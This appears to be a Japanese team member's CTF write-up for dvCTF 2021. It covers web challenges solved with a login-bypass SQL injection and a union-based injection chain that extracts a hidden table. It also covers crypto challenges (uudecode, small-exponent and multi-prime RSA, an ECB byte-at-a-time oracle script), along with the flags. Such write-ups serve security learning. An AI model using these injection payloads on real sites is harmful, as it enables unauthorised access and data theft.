この大会は2021/3/13 1:00(JST)~2021/3/15 1:00(JST)に開催されました。
今回もチームで参戦。結果は711点で418チーム中27位でした。
自分で解けた問題をWriteupとして書いておきます。
Authentication (Web)
以下を指定して、ログインする。
Username: ' or 1=1 -- - Password: a
HTMLソースを見ると、フラグが書いてあった。
dvCTF{!th4t_w4s_34sy!}
Members (Web)
SQLインジェクションで攻撃する。
■ZZ" union select 1,2,True -- - Name Address Payed 1 2 True ■ZZ" union select 1,schema_name,True from information_schema.schemata -- - Name Address Payed 1 information_schema True 1 lajoute True ■ZZ" union select 1,table_name,True from information_schema.tables where table_schema = 'lajoute' -- - Name Address Payed 1 members True 1 supa_secret_table True ■ZZ" union select 1,column_name,True from information_schema.columns where table_name = 'supa_secret_table' -- - Name Address Payed 1 id True 1 flag True ■ZZ" union select id,flag,True from supa_secret_table -- - Name Address Payed 1 dvCTF{1_h0p3_u_d1dnt_us3_sqlm4p} True
dvCTF{1_h0p3_u_d1dnt_us3_sqlm4p}
Decode (Crypto)
uuデコードする。
enc = '''begin flag.txt 59\'9#5$9[=S-B7S-N8W)Y<#<Q,&Y] end ''' flag = enc.decode('uu') print flag
dvCTF{w3b_3ncryp710n}
Bootless RSA (Crypto)
eの値が小さいので、Low Public Exponent Attackで復号する。
import json import gmpy from Crypto.Util.number import * with open('bootless_rsa.json', 'r') as f: data = f.read() json_data = json.loads(data) e = json_data['e'] c = json_data['ct'] m = gmpy.root(c, e)[0] flag = long_to_bytes(m) print flag
dvCTF{RS4_m0dul0_inf1nity}
The more, the less (Crypto)
Nを素因数分解する。
$ python -m primefac 31599415905194296507531163994468257280886159280045654346389430217405819290199334738577568528414824952061262558727052291045816515870348057534996441596560396962516719727878569643953152119895297353348080193869479088114850667155373326828408666807238584625432868509009967976378084883283066242914464294233411627 31599415905194296507531163994468257280886159280045654346389430217405819290199334738577568528414824952061262558727052291045816515870348057534996441596560396962516719727878569643953152119895297353348080193869479088114850667155373326828408666807238584625432868509009967976378084883283066242914464294233411627: 2715012803 3898886171 3068856233 2903526499 4068148789 2823467653 3910833851 2367104263 2152978987 4014542803 3391790461 2178670709 3852924077 3165948211 2563604567 3613621433 4029819973 3592739747 3989645813 3961066927 4024893437 2989253341 3876487189 3890394553 4226418397 4130412409 2571500203 2788319507 2292487361 3035960167 2936894063 4109794417
あとはそのまま復号する。
import json from Crypto.Util.number import * with open('supersecret.json', 'r') as f: data = f.read() json_data = json.loads(data) N = json_data['N'] e = json_data['e'] c = json_data['ct'] ps = [2715012803, 3898886171, 3068856233, 2903526499, 4068148789, 2823467653, 3910833851, 2367104263, 2152978987, 4014542803, 3391790461, 2178670709, 3852924077, 3165948211, 2563604567, 3613621433, 4029819973, 3592739747, 3989645813, 3961066927, 4024893437, 2989253341, 3876487189, 3890394553, 4226418397, 4130412409, 2571500203, 2788319507, 2292487361, 3035960167, 2936894063, 4109794417] phi = 1 for p in ps: phi *= p - 1 d = inverse(e, phi) m = pow(c, d, N) flag = long_to_bytes(m) print flag
dvCTF{rs4_f4ctor1z4t10n!!!}
Flipping tables (Crypto)
$ nc challs.dvc.tf 3333 What do you want me to encrypt? 12 !E(input || flag) = d79e40d60c7b243edfcddab83f9b4c11943ea9cb6e8ec05f3d0890f044486626 What do you want me to encrypt? 12 !E(input || flag) = d79e40d60c7b243edfcddab83f9b4c11943ea9cb6e8ec05f3d0890f044486626 What do you want me to encrypt? 11 !E(input || flag) = b9d8e21a9dcfea81b4a6f46e526eb51f943ea9cb6e8ec05f3d0890f044486626
AES暗号っぽい。いろいろ試してみたが、|| の意味は結合らしい。
$ nc challs.dvc.tf 3333 What do you want me to encrypt? 11 E(input || flag) = 46271de56230157e4b590b91ad914ae06bc1563491713fa0c2f76f0fbbb799d9 What do you want me to encrypt? 1111 E(input || flag) = 8a388a50f14b80c594ff57fe7c41116c322b94a315b8f8ad9329a3df83ee4099 What do you want me to encrypt? 111111 E(input || flag) = 8449427d652613adbe17d0e3f34ad5ffc5da9bdd873ec94497f42055a1aa378b What do you want me to encrypt? 11111111 !E(input || flag) = d8b878d9ac8b6337c8bd024eda5041c9285c62eeae837003ed5214d29f1e4ed3 What do you want me to encrypt? 1111111111 E(input || flag) = c51139c77339f310e818036105788d2c79880fc0f5dcbf6f3d1a6c21d1c76592 What do you want me to encrypt? 111111111111 !E(input || flag) = 5b8e50363f3f4edcd06e94df8b506fad35b676fbc0f34ed0d1ce1d0f5b9b6fd0 What do you want me to encrypt? 11111111111111 E(input || flag) = 8b26284e299b0322665fff2da4d054ffce600258fc4008600bc6a1aeb7ea22a0 What do you want me to encrypt? 1111111111111111 E(input || flag) = 0ea3efaef202ab81f6c71da214a5ddbbfb08b408dcc9910df47f90788438186d What do you want me to encrypt? 111111111111111111★9バイト入力 E(input || flag) = 1720e8e63e54ae45ea4eaf0435c8ac2118f77807d91f685f7c9ec14b59a479d9155075db7f6ceeafd3d4db2a44eae980★48バイト
0123456789abcdef IIIIIIIIIFFFFFFF FFFFFFFFFFFFFFFF PPPPPPPPPPPPPPPP 0123456789abcdef IIIIIIIIIIIIIII? IIIIIIIIIIIIIIII IIIIIIIIIIIIIIIF FFFFFFFFFFFFFFFF FFFFFFPPPPPPPPPP
Eの前の!の意味は何だろう?同じデータを入れてみる。
$ nc challs.dvc.tf 3333 What do you want me to encrypt? 11 E(input || flag) = 46271de56230157e4b590b91ad914ae06bc1563491713fa0c2f76f0fbbb799d9 What do you want me to encrypt? 11 E(input || flag) = 46271de56230157e4b590b91ad914ae06bc1563491713fa0c2f76f0fbbb799d9 What do you want me to encrypt? 11 !E(input || flag) = b9d8e21a9dcfea81b4a6f46e526eb51f943ea9cb6e8ec05f3d0890f044486626
どうやらビット反転したもののようだ。ただ同じ暗号文の中で比較するので、このことはあまり考える必要はない。以上を踏まえて、1文字ずつフラグをブロックからはみ出させ、暗号を比較し平文を求める。
import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) def is_success(data): enc = data.split(' ')[-1] bl0 = enc[:32] bl2 = enc[64:96] return bl0 == bl2 INP_CHAR = '11' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challs.dvc.tf', 3333)) hex_flag = '' for i in range(23): for code in range(32, 127): if i < 16: try_inp = INP_CHAR * (15 - i) + hex_flag + hex(code)[2:] + INP_CHAR * (31 - i) else: try_inp = hex_flag[-30:] + hex(code)[2:] + INP_CHAR * (31 - i) data = recvuntil(s, '? ') print data + try_inp s.sendall(try_inp + '\n') data = recvuntil(s, '\n').rstrip() print data if is_success(data): print hex(code)[2:] hex_flag += hex(code)[2:] flag = hex_flag.decode('hex') print flag
実行結果は以下の通り。
: What do you want me to encrypt? 43425f346e6772795f307234636c337a111111111111111111 E(input || flag) = 20ab86b4948dc09c3cd474a376f9f6731720e8e63e54ae45ea4eaf0435c8ac2118f77807d91f685f7c9ec14b59a479d9155075db7f6ceeafd3d4db2a44eae980 What do you want me to encrypt? 43425f346e6772795f307234636c337b111111111111111111 E(input || flag) = f6d3d3200bba0f9463c481e41deb7c571720e8e63e54ae45ea4eaf0435c8ac2118f77807d91f685f7c9ec14b59a479d9155075db7f6ceeafd3d4db2a44eae980 What do you want me to encrypt? 43425f346e6772795f307234636c337c111111111111111111 E(input || flag) = ddb1318dd23239632a5cf33809ac9a8c1720e8e63e54ae45ea4eaf0435c8ac2118f77807d91f685f7c9ec14b59a479d9155075db7f6ceeafd3d4db2a44eae980 What do you want me to encrypt? 43425f346e6772795f307234636c337d111111111111111111 !E(input || flag) = e70887f826e097a083613eb4a65b8626e8df1719c1ab51ba15b150fbca3753dee70887f826e097a083613eb4a65b8626eaaf8a24809311502c2b24d5bb15167f 7d What do you want me to encrypt? 425f346e6772795f307234636c337d7e111111111111111111 !E(input || flag) = e1100d1faed652115d3d0a898b7e166de8df1719c1ab51ba15b150fbca3753dee70887f826e097a083613eb4a65b8626eaaf8a24809311502c2b24d5bb15167f dvCTF{3CB_4ngry_0r4cl3}
dvCTF{3CB_4ngry_0r4cl3}